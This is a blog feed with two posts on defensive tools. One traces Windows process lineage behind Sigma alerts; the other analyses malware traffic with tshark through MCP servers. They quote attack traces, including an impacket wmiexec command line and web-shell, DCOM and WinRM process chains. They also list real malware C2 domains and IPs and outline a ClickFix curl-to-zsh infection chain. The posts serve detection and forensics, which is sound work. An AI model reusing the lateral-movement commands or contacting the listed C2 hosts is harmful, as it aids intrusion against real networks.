<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://mohitdabas.in/feed.xml" rel="self" type="application/atom+xml" /><link href="http://mohitdabas.in/" rel="alternate" type="text/html" /><updated>2026-06-27T12:44:22+00:00</updated><id>http://mohitdabas.in/feed.xml</id><title type="html">Mohit Dabas’s Blog</title><subtitle>Mohit Dabas&apos; Blog - Exploring cybersecurity tools, techniques, and insights on life. This blog serves as a personal journal to document my ongoing cybersecurity tasks, along with various topics and reflections.</subtitle><author><name>Mohit Dabas</name></author><entry><title type="html">A Sigma Hit in the Logs Means Nothing Without Its Story — The Process Lineage Chain Is the Story</title><link href="http://mohitdabas.in/blog/sigmalineage-mcp-evtx-hunting-lineage-first-triage/" rel="alternate" type="text/html" title="A Sigma Hit in the Logs Means Nothing Without Its Story — The Process Lineage Chain Is the Story" /><published>2026-06-27T00:00:00+00:00</published><updated>2026-06-27T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/sigmalineage-mcp-evtx-hunting-lineage-first-triage</id><content type="html" xml:base="http://mohitdabas.in/blog/sigmalineage-mcp-evtx-hunting-lineage-first-triage/"><![CDATA[<p><img src="/assets/images/sigmalineage/lineage-highlights.png" alt="SigmaLineage MCP — Lineage Highlights" class="img-responsive" /></p>

<p>It’s 2 AM. Your SIEM fires on a Sigma rule: <em>“Unusual Parent Process for Cmd.EXE”</em>. You stare at the alert. You see the command line. You see the PID. But you have no idea if this is a developer testing a build script, a sysadmin running a remote task, or a ransomware operator who just pivoted to your domain controller.</p>

<p>So you start hunting. You pivot on the PID. You look for parent processes. You dig for the grandparent. You query four different tools. Twenty minutes later you have an answer — but by then the attacker may have already moved on.</p>

<p><strong>There is a better way.</strong> And it starts with asking the right question: not <em>“what fired?”</em> but <em>“what is the full story?”</em></p>

<blockquote>
  <p><em>“A Sigma hit in the logs means nothing without its story. The process lineage chain is the story.”</em></p>
</blockquote>

<hr />

<h2 id="the-problem-with-alert-first-thinking">The Problem With Alert-First Thinking</h2>

<p>Modern Windows endpoint detection generates an avalanche of Sigma hits. Sigma is powerful — the rule library from <a href="https://sigmahq.io">SigmaHQ</a> covers everything from credential dumping to DCOM abuse — but a Sigma match is just the beginning of the investigation, not the end.</p>

<p>The false positive problem is real and it is brutal:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">regsvr32.exe</code> spawning a child process is in 40 Sigma rules. And also in every legitimate COM registration.</li>
  <li><code class="language-plaintext highlighter-rouge">wmic.exe</code> executing a command could be an attacker using WMI for lateral movement, or it could be your asset management tool checking drive health.</li>
  <li><code class="language-plaintext highlighter-rouge">cmd.exe</code> spawned by <code class="language-plaintext highlighter-rouge">mmc.exe</code> looks terrifying — until you realise it is also what legitimate DCOM-based remote management looks like.</li>
</ul>

<p><strong>The alert alone tells you nothing. The parent chain tells you everything.</strong></p>

<hr />

<h2 id="what-is-sigmalineage-mcp">What Is SigmaLineage MCP?</h2>

<p><strong><a href="https://github.com/MohitDabas/sigmalineage-mcp">SigmaLineage MCP</a></strong> is a FastMCP server that wraps three capabilities into a single, AI-callable interface:</p>

<ol>
  <li><strong>Sigma Hunt (<code class="language-plaintext highlighter-rouge">run_sigma</code>)</strong> — runs <a href="https://github.com/WithSecureLabs/chainsaw">Chainsaw</a> against an EVTX folder with the full SigmaHQ rule set.</li>
  <li><strong>Process Lineage Tracing (<code class="language-plaintext highlighter-rouge">run_sigma_lineage</code>)</strong> — for every Sigma hit, automatically traces the parent→child execution tree up to 5+ generations, building a full kill-chain view.</li>
  <li><strong>Rarity Baseline Engine (<code class="language-plaintext highlighter-rouge">rare_events_baseline</code>)</strong> — statistically surfaces anomalous process-to-port connections, suspicious user-log event combinations, and unusual URL lookups that don’t fit the baseline.</li>
</ol>

<p>You plug it into any MCP-compatible AI client — Cursor, Claude Desktop, Antigravity, OpenCode — describe what you want to investigate in plain English, and get back structured, context-rich analysis.</p>

<hr />

<h2 id="the-core-moat-lineage-tracing">The Core Moat: Lineage Tracing</h2>

<p>This is the feature that changes everything for Detection Engineering.</p>

<p>When Chainsaw finds a hit, most tools stop there. SigmaLineage goes upstream. It uses the high-performance Rust-backed <a href="https://github.com/omerbenamram/evtx"><code class="language-plaintext highlighter-rouge">evtx</code></a> Python parser to build an in-memory process graph from every Sysmon Event ID 1 (process creation) and Security Event ID 4688 in your EVTX corpus. It resolves ancestry using <code class="language-plaintext highlighter-rouge">ProcessGuid</code> strings for Sysmon events, and uses a PID + timestamp closest-fit algorithm for Security events that don’t have GUIDs.</p>

<p>The result: for every Sigma hit, you get the full execution tree rendered in markdown.</p>

<p>Here is a real example from the <a href="https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES">EVTX-Attack-Samples</a> dataset — <strong>impacket <code class="language-plaintext highlighter-rouge">wmiexec</code> lateral movement</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[WmiPrvSE.exe (PID: 836)]
└─ [cmd.exe (PID: 2828)] (HIT)
     cmd.exe /Q /c whoami /all 1&gt; \\127.0.0.1\ADMIN$\__1556656369.7 2&gt;&amp;1
   └─ [whoami.exe (PID: 3328)] (HIT)
         whoami /all
</code></pre></div></div>

<p>One look at this tree and you know: <code class="language-plaintext highlighter-rouge">cmd.exe</code> was spawned by <code class="language-plaintext highlighter-rouge">WmiPrvSE.exe</code>, writing output to the ADMIN$ share via a UNC path. That is the textbook WMI exec pattern from impacket. This is <strong>not</strong> a false positive.</p>

<p>Compare this to a hit that <em>looks</em> the same on the surface — <code class="language-plaintext highlighter-rouge">cmd.exe</code> spawned with suspicious arguments — but the lineage tree shows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[services.exe (PID: 632)]
└─ [PSEXESVC.exe (PID: 4320)] (HIT)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">services.exe</code> → <code class="language-plaintext highlighter-rouge">PSEXESVC.exe</code>. That is PsExec running as a service. Confirmed lateral movement. <strong>Different root cause, same surface alert, instantly disambiguated by lineage.</strong></p>

<p><img src="/assets/images/sigmalineage/lineage-highlights.png" alt="SigmaLineage MCP — Lineage Analysis in Action" class="img-responsive" /></p>

<hr />

<h2 id="the-rarity-engine-signal-from-noise">The Rarity Engine: Signal From Noise</h2>

<p>The second capability solves a different problem — not false positive reduction, but anomaly discovery without needing a Sigma rule at all.</p>

<p>The <code class="language-plaintext highlighter-rouge">rare_events_baseline</code> tool parses event log CSVs and computes statistical rarity across three multi-dimensional tuple families:</p>

<table>
  <thead>
    <tr>
      <th>Family</th>
      <th>What It Surfaces</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">process_dst_port_protocol</code></td>
      <td>Processes making unusual network connections (e.g., <code class="language-plaintext highlighter-rouge">plink.exe</code> on port 80)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">user_channel_event_id</code></td>
      <td>Users triggering rare event IDs (e.g., <code class="language-plaintext highlighter-rouge">administrator</code> hitting Event 4794 — DSRM password change)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">url_host_process</code></td>
      <td>Hosts accessing unique URLs/domains from unusual processes</td>
    </tr>
  </tbody>
</table>

<p>You don’t need to know what to look for. You just need the logs. The engine tells you what is statistically weird.</p>

<p>Real findings from running this against the EVTX-Attack-Samples lateral movement corpus:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">C:\Users\IEUser\Desktop\plink.exe</code> connecting to port 80 over TCP — <strong>plink</strong> (PuTTY Link) is an SSH tunneling tool, almost never legitimately run from a Desktop folder.</li>
  <li>User <code class="language-plaintext highlighter-rouge">backdoor</code> generating Security Event 5145 (network share object accessed) — a user literally named <code class="language-plaintext highlighter-rouge">backdoor</code> accessing file shares.</li>
  <li>User <code class="language-plaintext highlighter-rouge">administrator</code> generating Event 4794 — <em>“An attempt was made to set the Directory Services Restore Mode administrator password”</em> — a classic domain controller attack precursor.</li>
</ul>

<p><img src="/assets/images/sigmalineage/rarity-analysis.png" alt="SigmaLineage MCP — Rarity Baseline Analysis" class="img-responsive" /></p>

<p>No Sigma rule needed. Pure statistical anomaly detection, surfaced in seconds.</p>

<hr />

<h2 id="architecture-how-it-works">Architecture: How It Works</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AI Client (Cursor / Claude / Antigravity / OpenCode)
        │  MCP (stdio transport)
        ▼
  SigmaLineage MCP Server (FastMCP)
        │
        ├─── run_sigma ──────────────► Chainsaw → hunt.json
        │
        ├─── run_sigma_lineage ──────► Chainsaw → hunt.json
        │                              + evtx parser → process graph
        │                              + lineage tracer → process_lineage.md
        │
        └─── rare_events_baseline ───► CSV parser → rarity engine → ranked tuples
</code></pre></div></div>

<p>The server is built entirely on <a href="https://github.com/jlowin/fastmcp">FastMCP</a>, which means each tool is just a Python function decorated with <code class="language-plaintext highlighter-rouge">@mcp.tool()</code>. The process lineage tracer is a standalone Python CLI (<code class="language-plaintext highlighter-rouge">sigma_lineage.py</code>) that the server invokes as a subprocess, making it independently testable and runnable without the MCP layer.</p>

<p>Process parent-child resolution handles two tricky edge cases:</p>

<ul>
  <li><strong>PID recycling</strong> — Windows reuses PIDs aggressively. The tracer uses timestamp-bounded closest-fit matching rather than exact PID lookup to correctly resolve parents even when PIDs have been reused.</li>
  <li><strong>Out-of-scope processes</strong> — if a suspect process’s ancestor was created before your EVTX corpus starts, the tracer generates a virtual <code class="language-plaintext highlighter-rouge">[Unknown Ancestor]</code> node rather than silently dropping the chain, so you always know when you have an incomplete picture.</li>
</ul>

<hr />

<h2 id="real-world-kill-chains-from-the-samples">Real-World Kill Chains From the Samples</h2>

<p>Running SigmaLineage against the <a href="https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES">EVTX-Attack-Samples Lateral Movement</a> corpus produces 95 Sigma hits across 47 EVTX files. Here are some of the kill chains that immediately stand out:</p>

<p><strong>IIS Web Shell → Net Recon:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[w3wp.exe (PID: 2580)]     ← IIS worker process
└─ [cmd.exe (PID: 2404)] (HIT)
   └─ [net.exe (PID: 788)] (HIT)     "net user"
      └─ [net1.exe (PID: 712)] (HIT)
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">w3wp.exe</code> spawning <code class="language-plaintext highlighter-rouge">cmd.exe</code> spawning <code class="language-plaintext highlighter-rouge">net user</code> is a web shell. The IIS process has been compromised and an attacker is enumerating local accounts.</p>

<p><strong>DCOM MMC20 Shell:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[svchost.exe] -k DcomLaunch
└─ [mmc.exe (PID: 3572)] (HIT)     -Embedding
   └─ [cmd.exe (PID: 1256)]
      └─ [whoami.exe (PID: 692)] (HIT)
</code></pre></div></div>
<p>MMC spawned via DCOM (<code class="language-plaintext highlighter-rouge">-Embedding</code> flag) writing reconnaissance output to the ADMIN$ share. This is the classic impacket <code class="language-plaintext highlighter-rouge">dcomexec</code> pattern.</p>

<p><strong>WinRM Remote Shell:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[svchost.exe] -k DcomLaunch
└─ [winrshost.exe (PID: 3948)]
   └─ [cmd.exe (PID: 3136)] (HIT)     /C ipconfig
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">winrshost.exe</code> is the Windows Remote Shell host process. Seeing it spawn <code class="language-plaintext highlighter-rouge">cmd.exe</code> directly confirms a WinRM lateral movement session.</p>

<p>Each of these would be a confusing, decontextualized alert without the lineage chain. With it, the investigation time collapses from 20 minutes to 20 seconds.</p>

<hr />

<h2 id="getting-started">Getting Started</h2>

<p><strong>Prerequisites:</strong> Python 3.10+, <a href="https://github.com/WithSecureLabs/chainsaw">Chainsaw CLI</a> on your <code class="language-plaintext highlighter-rouge">PATH</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/MohitDabas/sigmalineage-mcp
<span class="nb">cd </span>sigmalineage-mcp
uv <span class="nb">sync</span>
</code></pre></div></div>

<p><strong>Wire it into your AI client:</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"mcpServers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"sigmalineage-mcp"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"uv"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"args"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"run"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"--project"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"/path/to/sigmalineage-mcp"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"sigmalineage-mcp"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"env"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"SIGMALINEAGE_PROJECT_ROOT"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/path/to/sigmalineage-mcp"</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Config file locations by client:</p>
<ul>
  <li><strong>Cursor</strong>: <code class="language-plaintext highlighter-rouge">~/.cursor/mcp.json</code></li>
  <li><strong>Antigravity</strong>: <code class="language-plaintext highlighter-rouge">~/.gemini/antigravity/mcp_config.json</code></li>
  <li><strong>OpenCode</strong>: <code class="language-plaintext highlighter-rouge">~/.config/opencode/opencode.json</code></li>
  <li><strong>Claude Desktop</strong>: <code class="language-plaintext highlighter-rouge">~/.config/Claude/claude_desktop_config.json</code> (Linux)</li>
</ul>

<p>Then drop your EVTX files in a folder and ask your AI:</p>

<blockquote>
  <p><em>“Run sigma lineage on <code class="language-plaintext highlighter-rouge">/path/to/evtx-folder</code> using the default rules and mapping, output to <code class="language-plaintext highlighter-rouge">/tmp/results</code>. Show me the top hits with their full process trees.”</em></p>
</blockquote>

<hr />

<h2 id="why-mcp-is-the-right-primitive-for-security-tooling">Why MCP Is the Right Primitive for Security Tooling</h2>

<p>The MCP transport matters here. The AI doesn’t read log files and reason about what the process tree might be — it <strong>calls the actual tools</strong> and gets back structured data. This means:</p>

<ul>
  <li><strong>No hallucination of log data</strong> — the lineage tree is derived from real event records.</li>
  <li><strong>Reproducible results</strong> — the same EVTX + rules + mapping always produces the same hit list.</li>
  <li><strong>Composable workflows</strong> — an AI can chain <code class="language-plaintext highlighter-rouge">run_sigma_lineage</code> → <code class="language-plaintext highlighter-rouge">rare_events_baseline</code> → ask follow-up questions in a single conversation.</li>
</ul>

<p>The future of security tooling is not replacing analysts with AI — it’s giving analysts AI-native interfaces to their existing tools, with structured outputs that the AI can actually reason about. SigmaLineage MCP is built on that premise.</p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Sigma rules are great at firing. They are not great at explaining. The process lineage chain is the explanation.</p>

<p>SigmaLineage MCP is an open-source FastMCP server that takes a folder of EVTX files and an AI client, and gives you back: confirmed kill chains, ranked anomalies, and full parent-child execution trees — in the time it used to take to just write the first tshark filter.</p>

<p><strong>GitHub:</strong> <a href="https://github.com/MohitDabas/sigmalineage-mcp">github.com/MohitDabas/sigmalineage-mcp</a></p>

<p>If you work in detection engineering or DFIR and the false positive problem is something you deal with daily, give it a try. And if you find a sample where the lineage chain surfaces something unexpected — open an issue, I’d love to see it.</p>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="DFIR" /><category term="Detection-Engineering" /><category term="SOC" /><category term="Sigma" /><category term="MCP" /><category term="AI-Tools" /><category term="EVTX" /><category term="mohitdabas" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">MalShark: MCP-Powered Malware Traffic Analysis — Benchmarked Against Real Malware</title><link href="http://mohitdabas.in/blog/malshark-ai-powered-malware-traffic-analysis-benchmarked-against-real-malware/" rel="alternate" type="text/html" title="MalShark: MCP-Powered Malware Traffic Analysis — Benchmarked Against Real Malware" /><published>2026-05-27T00:00:00+00:00</published><updated>2026-05-27T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/malshark-ai-powered-malware-traffic-analysis-benchmarked-against-real-malware</id><content type="html" xml:base="http://mohitdabas.in/blog/malshark-ai-powered-malware-traffic-analysis-benchmarked-against-real-malware/"><![CDATA[<p><img src="/assets/images/malshark/malshark-teaser.png" alt="malshark" class="img-responsive" /></p>

<p>If you’ve ever had to analyze a suspicious pcap file, you know the drill — open Wireshark, start writing tshark filters, hunt through thousands of packets, manually correlate DNS queries with TLS SNIs, and try to figure out which IP is actually the C2 and which is just Apple’s CDN. It’s tedious, it requires deep expertise, and one wrong filter means you miss the IOC.</p>

<p><strong>MalShark</strong> is my attempt to change that. It’s an <a href="https://modelcontextprotocol.io/">MCP (Model Context Protocol)</a> server that wraps <code class="language-plaintext highlighter-rouge">tshark</code> and exposes a suite of malware analysis tools directly inside Cursor or any MCP-compatible AI client. You drop a pcap file, describe what you want in plain English, and the AI runs the right tools, chains the results, and gives you a structured forensic report.</p>

<p>The best part: every detection rule in MalShark was written and tuned against <strong>real malware samples from <a href="https://www.malware-traffic-analysis.net">malware-traffic-analysis.net</a></strong> — not synthetic test cases. The project has a benchmark suite where each tool version is scored blind against ground-truth IOC files before any rule is added or changed.</p>

<blockquote>
  <p><strong>Source Code:</strong> <a href="https://github.com/MohitDabas/malshark">github.com/MohitDabas/malshark</a></p>
</blockquote>

<hr />

<h2 id="what-is-mcp">What is MCP?</h2>

<p>The <a href="https://modelcontextprotocol.io/">Model Context Protocol</a> is an open standard that lets AI clients (Cursor, Claude Desktop, Windsurf, Continue, and others) call external tools through a defined interface. Instead of the AI reasoning about what a tshark command might produce, it actually <em>calls</em> the tool and gets structured results back.</p>

<p>This makes MCP the right primitive for security tooling: the AI doesn’t hallucinate packet data, it reads real output from the actual tool.</p>

<hr />

<h2 id="architecture">Architecture</h2>

<p>MalShark is built entirely on <code class="language-plaintext highlighter-rouge">asyncio</code>. Each tool fans out multiple <code class="language-plaintext highlighter-rouge">tshark</code> processes in parallel using <code class="language-plaintext highlighter-rouge">asyncio.gather</code>, so a single <code class="language-plaintext highlighter-rouge">extract_iocs</code> call runs 6 tshark passes simultaneously — DNS queries, TLS handshakes, HTTP requests, HTTP responses, C2-on-443 detection, and SYN-only unreachable C2 detection — all at once.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AI (Cursor / Claude / Windsurf)
        │  MCP
        ▼
  MalShark Server (FastMCP)
        │  asyncio.gather
        ▼
  ┌─────────────────────────────────────┐
  │  tshark pass 1: DNS queries         │
  │  tshark pass 2: TLS SNI             │
  │  tshark pass 3: HTTP requests       │  ← all parallel
  │  tshark pass 4: HTTP responses      │
  │  tshark pass 5: C2-on-443           │
  │  tshark pass 6: SYN-only C2         │
  └─────────────────────────────────────┘
        │
        ▼
  Structured IOC Report
</code></pre></div></div>

<hr />

<h2 id="the-toolset">The Toolset</h2>

<table>
  <thead>
    <tr>
      <th>Tool</th>
      <th>What it does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pcap_summary</code></td>
      <td>High-level overview: victim IP, protocol breakdown, top IPs by bytes, red flags</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extract_iocs</code></td>
      <td>DNS, TLS SNI, HTTP, C2-on-443 (non-TLS traffic on port 443), unreachable C2</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">c2_beaconing</code></td>
      <td>Burst-cluster timing analysis — detects regular callback intervals</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">find_downloads</code></td>
      <td>File downloads (HTTP) and large outbound uploads; HTTPS large-transfer estimates</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extract_credentials</code></td>
      <td>Cleartext credentials + malware-specific custom auth headers to bare-IP C2s</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">http_sessions</code></td>
      <td>Full HTTP request/response pairs with cloud C2 pattern detection</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">detect_dns_tunneling</code></td>
      <td>Entropy analysis, label length distribution, tunneling scoring</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">capture_packets</code></td>
      <td>Live packet capture from a network interface</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="recommended-workflow">Recommended Workflow</h2>

<p>Run these in order — each step narrows the scope for the next:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. pcap_summary          ← always start here; get victim IP + red flags
2. extract_iocs          ← DNS, TLS SNI, C2-on-443, unreachable C2
3. c2_beaconing          ← run on each suspicious IP from step 2
4. find_downloads        ← what did the victim download or send out?
5. http_sessions         ← full HTTP detail, cloud C2 patterns
6. extract_credentials   ← any auth material in cleartext?
7. detect_dns_tunneling  ← if DNS looked odd in step 2
</code></pre></div></div>

<p>With Cursor (or any MCP-compatible AI), you can run the whole chain in one message:</p>

<blockquote>
  <p><em>“Analyze put_pcap_here/capture.pcap — find the victim IP, extract all IOCs, check for beaconing on any suspicious IPs, and tell me what the malware downloaded.”</em></p>
</blockquote>

<hr />

<h2 id="benchmarked-against-real-malware">Benchmarked Against Real Malware</h2>

<p>This is where MalShark earns its credibility. Every tool version is validated using a strict blind-test methodology:</p>

<ol>
  <li><strong>Run tools blind</strong> — tools run on the pcap with zero prior knowledge of the IOCs</li>
  <li><strong>Load ground truth</strong> — IOC files and malware artifacts from the official ZIP are read <em>after</em></li>
  <li><strong>Score each tool</strong> — true positives, false positives, and misses documented</li>
  <li><strong>Apply justified fixes</strong> — only changes that generalise across multiple samples get committed</li>
  <li><strong>Document everything</strong> — findings written up in <code class="language-plaintext highlighter-rouge">benchmarks/</code></li>
</ol>

<p>Here are two real benchmark results.</p>

<hr />

<h3 id="sample-1-macos-shub-stealer-2026-05-08">Sample 1: macOS Shub Stealer (2026-05-08)</h3>

<p><strong>Infection chain:</strong> Victim searched for cracked software → Google Drive lure → ClickFix command → <code class="language-plaintext highlighter-rouge">curl</code> pipes <code class="language-plaintext highlighter-rouge">loader.sh</code> directly to <code class="language-plaintext highlighter-rouge">zsh</code> → downloads <code class="language-plaintext highlighter-rouge">payload.applescript</code> → osascript installs persistence as <code class="language-plaintext highlighter-rouge">com.google.keystone.agent</code> (masquerading as Google Keystone updater).</p>

<p><strong>Running <code class="language-plaintext highlighter-rouge">extract_iocs</code> blind:</strong></p>

<p>The tool fired on all four malware domains before any ground truth was consulted:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[DNS]  7 domains queried  (7 flagged)
  ⚠ socvy.com                         t=18.7s   SUSPICIOUS
  ⚠ shoeboxthen.com                   t=19.4s   SUSPICIOUS
  ⚠ orbitlinkgrid6.cyou               t=21.2s   SUSPICIOUS suspicious_tld
  ⚠ ploesglodigigachads.com           t=98.6s   SUSPICIOUS
  ⚠ api.ipify.org                     t=438.8s  SUSPICIOUS

[C2-443]  1 IP using port 443 WITHOUT TLS/SSL
  ⚠ 172.67.203.61  240 non-TLS pkts on :443

[C2-UNREACHABLE]  1 IP — many SYN attempts, server never responded
  ⚠ 172.67.74.152  8 SYN attempts with no response
</code></pre></div></div>

<p><strong>Running <code class="language-plaintext highlighter-rouge">c2_beaconing</code> on <code class="language-plaintext highlighter-rouge">172.67.203.61</code> (ploesglodigigachads.com):</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  Mean interval     : 72.453 s
  Median interval   : 60.708 s
  Dominant interval : 57.6 s
</code></pre></div></div>

<p>Checking the ground truth persistence plist afterward:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;key&gt;</span>StartInterval<span class="nt">&lt;/key&gt;</span>
<span class="nt">&lt;integer&gt;</span>60<span class="nt">&lt;/integer&gt;</span>
</code></pre></div></div>

<p>The dominant beacon interval matched the LaunchAgent <code class="language-plaintext highlighter-rouge">StartInterval</code> of <strong>60 seconds</strong> exactly — detected blind, confirmed by ground truth.</p>

<p><strong>Result: 6/6 network-observable IOCs detected.</strong></p>

<hr />

<hr />

<h3 id="sample-2-smartapesg-clickfix--netsupport-rat-2026-05-22">Sample 2: SmartApeSG ClickFix → NetSupport RAT (2026-05-22)</h3>

<p><strong>Infection chain:</strong> SmartApeSG fake browser update page → ClickFix PowerShell → dropper binary → NetSupport RAT callback using an embedded headless Chrome browser.</p>

<p><strong><code class="language-plaintext highlighter-rouge">extract_iocs</code> caught:</strong></p>
<ul>
  <li>The SmartApeSG lure domain in DNS</li>
  <li>The dropper download host flagged in HTTP sessions</li>
  <li>Two NetSupport RAT C2 IPs in C2-on-443</li>
  <li>One offline backup C2 server via SYN-only unreachable detection</li>
</ul>

<p><strong><code class="language-plaintext highlighter-rouge">c2_beaconing</code> confirmed</strong> the RAT’s characteristic irregular but persistent call-home pattern.</p>

<p>Here’s the full tool results vs ground truth breakdown for this sample:</p>

<p><img src="/assets/images/malshark/malshark-teaser.png" alt="MalShark benchmark — extract_iocs vs ground truth for SmartApeSG" class="img-responsive" /></p>

<p><strong>Result: 87% detection coverage.</strong></p>

<hr />

<h2 id="what-benchmarking-fixed">What Benchmarking Fixed</h2>

<p>Running tools against real malware surfaces gaps that you’d never catch in testing. Every fix below was driven by a real sample:</p>

<p><strong>C2-on-443 flood with handshake noise</strong> — the initial C2-on-443 detection was counting TCP SYN/ACK packets with no payload, inflating the result from 2 real C2 IPs to 18. Fixed by adding <code class="language-plaintext highlighter-rouge">tcp.len &gt; 0</code> to the filter.</p>

<p><strong>Offline C2 servers missed</strong> — a NetSupport RAT backup C2 was unreachable during capture (server was down), so no TLS handshake, no HTTP, nothing. Fixed by adding a SYN-only detection pass: if the victim sent 5+ SYN packets to a port 443 IP with no session ever establishing, that IP is flagged as a likely offline C2.</p>

<p><strong>SNI-based false positive suppression</strong> — Apple CDN and Microsoft Update IPs were triggering C2-on-443. Fixed by building a map of IPs → their TLS SNIs and excluding any IP whose SNI resolves to a benign domain.</p>

<p><strong>Malware-specific custom auth headers</strong> — the loader script sent JSON telemetry to the C2 with custom fields like <code class="language-plaintext highlighter-rouge">build_hash</code> and <code class="language-plaintext highlighter-rouge">is_cis</code>. Normal credential extraction only looks for <code class="language-plaintext highlighter-rouge">Authorization:</code> headers. Added detection for non-standard auth-style headers sent to bare-IP C2 servers.</p>

<hr />

<h2 id="installation">Installation</h2>

<p><strong>Requirements:</strong> Python ≥ 3.11, <code class="language-plaintext highlighter-rouge">tshark</code> installed and on <code class="language-plaintext highlighter-rouge">PATH</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install tshark</span>
<span class="nb">sudo </span>apt <span class="nb">install </span>tshark          <span class="c"># Debian/Ubuntu</span>
brew <span class="nb">install </span>wireshark           <span class="c"># macOS</span>

<span class="c"># Clone and install</span>
git clone https://github.com/MohitDabas/malshark
<span class="nb">cd </span>malshark
pip <span class="nb">install </span>uv
uv <span class="nb">sync</span>
</code></pre></div></div>

<h3 id="add-to-cursor-or-any-mcp-client">Add to Cursor (or any MCP client)</h3>

<p>In Cursor → Settings → MCP → Add server:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"mcpServers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"malshark"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"uv"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"args"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"--directory"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"/absolute/path/to/malshark"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"run"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"wireshark-mcp"</span><span class="w">
      </span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Drop your pcap into the <code class="language-plaintext highlighter-rouge">put_pcap_here/</code> folder and you’re ready.</p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>MalShark is an attempt to bring AI-native tooling to network forensics — not by replacing tshark, but by making it accessible through a structured, benchmarked interface that an AI can call reliably.</p>

<p>The benchmark-driven development approach is what I’m most proud of. Every detection rule has a real malware sample behind it, and every false positive reduction has been validated not to blind-spot a real IOC. The project is open to contributions — if you find a malware sample where MalShark misses something or produces noise, open an issue and I’ll benchmark it.</p>

